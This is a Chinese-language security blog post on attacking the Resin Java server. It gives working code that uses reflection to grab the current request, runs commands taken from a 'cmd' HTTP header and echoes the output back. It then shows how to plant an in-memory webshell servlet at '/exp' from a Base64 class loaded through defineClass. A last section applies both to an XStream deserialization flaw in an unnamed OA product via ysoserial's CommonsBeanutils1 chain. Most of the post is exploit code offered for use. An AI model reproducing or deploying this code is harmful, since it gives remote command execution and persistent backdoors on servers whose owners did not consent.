Resin回显及内存马
回显
回显的通用思路是通过反射获取当前 request
对象来实现的,这个 request
一般是存储在当前线程对象中。resin
比较简单,就直接存储在线程对象的 threadLocals
属性的表里:
所以实现回显只需通过反射获取当前线程的 threadLocals
属性,然后遍历内容取出 com.caucho.server.http.HttpRequest
对象,之后在 Response
里写内容即可。
没啥好说的,前人已有代码总结:
try {
// Thread.currentThread().getClass() 是 com.caucho.env.thread2.ResinThread2
Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
f.setAccessible(true);
Object obj = f.get(Thread.currentThread());
f = obj.getClass().getDeclaredField("table");
f.setAccessible(true);
obj = f.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
f = o.getClass().getDeclaredField("value");
f.setAccessible(true);
obj = f.get(o);
if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
String cmd = httpRequest.getHeader("cmd");
if(cmd != null && !cmd.isEmpty()){
String resp = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next();
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", resp.length() + "");
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
httpResponseStream.write(resp.getBytes(), 0, resp.length());
httpResponseStream.close();
}
break;
}
}
} catch (Exception e) {
}
还有一种方法也是常见的回显方式之一,就是有些中间件会把当前 request
对象存储在静态变量或者特定类里,可以通过反射获取该静态变量或特定类,然后获取 request
对象,在 resin
中,可以通过 com.caucho.network.listen.TcpSocketLink
类获得
该类有个 getCurrentRequest
方法,可以获得当前 request
有现成的代码
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer) getWriterM.invoke(response);
w.write("powered by potatso");
类似的类还有 com.caucho.server.dispatch..ServletInvocation
等等
内存马
对于 servlet
类型来说,有大概动态注册 servlet
、filter
、listener
几种方式。这里以 servlet
为例。
无论是动态注册 servlet
、filter
还是 listener
,都要先获取到当前请求的上下文环境或者他的继承类,因为在其中存在的动态增加的方法:
一般可以通过 javax.servlet.ServletRequest.getServletContext()
获得。本来想着能直接复用上面回显的代码,结果发现之前取得的 Request
是 com.caucho.server.http.HttpRequest
,且并没有 getServletContext
方法,只能重新找。
调试发现常规请求会经过 com.caucho.server.dispatch.ServletInvocation
:
且其 getContextRequest
方法能够获得 ServletRequest
那么获得 ServletContext
的过程就明明白白了。
接下来查找动态注册 servlet
的类,懒得看文档,先正常配置 web.xml
,注册 servlet
,断点查看是哪个类在添加 servlet
:
可以看到是 com.caucho.server.webapp.WebApp
类的 addServlet
方法,而且 WebApp
还是继承 ServletContext
,那么这一套流程就完全走通了。
按照上述方法获得 ServletContext
,然后强制转换成 com.caucho.server.webapp.WebApp
之后调用其 addServlet
方法即可:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);
com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) contextRequest
.getServletContext();
com.caucho.server.dispatch.ServletConfigImpl sci = new com.caucho.server.dispatch.ServletConfigImpl();
sci.setServletClass("servlet.exp");
sci.setServletName("exp");
web.addServlet(sci);
最后成功动态注册 Servlet
:
接下来的问题就是给 Servlet
添加路由匹配,还是正常流程走一遍,发现是在 com.caucho.server.dispatch.ServletMapping
中添加路由:
且 ServletMapping
还是继承了 ServletConfigImpl
,所以路由和类名就可以对应了,高兴地改了下代码:
com.caucho.server.dispatch.ServletMapping sci = new com.caucho.server.dispatch.ServletMapping();
sci.setServletClass("servlet.exp");
sci.setServletName("exp");
web.addServlet(sci);
可惜没有成功,再次查看,发现了 ServletMapper
类
原来 ServletMapper
类才是存储路由的类,得 ServletMapper
和 ServletMapping
关联才行,查看 ServletMapping
代码,发现有个 init
方法是改变 ServletMapper
对象内容的:
而在 WebApp
中有个 addServletMapping
刚好调用了这个 init
方法:
所以更改上述代码:
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
smapping.setServletClass("servlet.exp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");
web.addServletMapping(smapping);
成功动态注册 Servlet
:
filter
、listener
也是相似的原理,其中 listener
更简单些,因为不需要路由。
实战
前段时间某oa的 Xstream反序列化
漏洞可以拿来练手,
正常利用可以直接通过 ysoserial
的 CommonsBeanutils1
链
要回显或者内存马就需要修改 CommonsBeanutils1
链。
回显关键代码:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl )
getContextRequest.invoke(null);
try{
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
PrintWriter out = rep.getWriter();
out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
.useDelimiter("\\A").next());
}
}catch (Exception e ){
e.printStackTrace();
}
内存马相关代码:
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch" +
".ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);
Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web =getServletContext.invoke(contextRequest);
com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();
String s1="your class";
byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.setAccessible(true);
m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"cb.servletExp", bytes1, 0, bytes1.length});
smapping.setServletClass("cb.servletExp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");
web1.addServletMapping(smapping);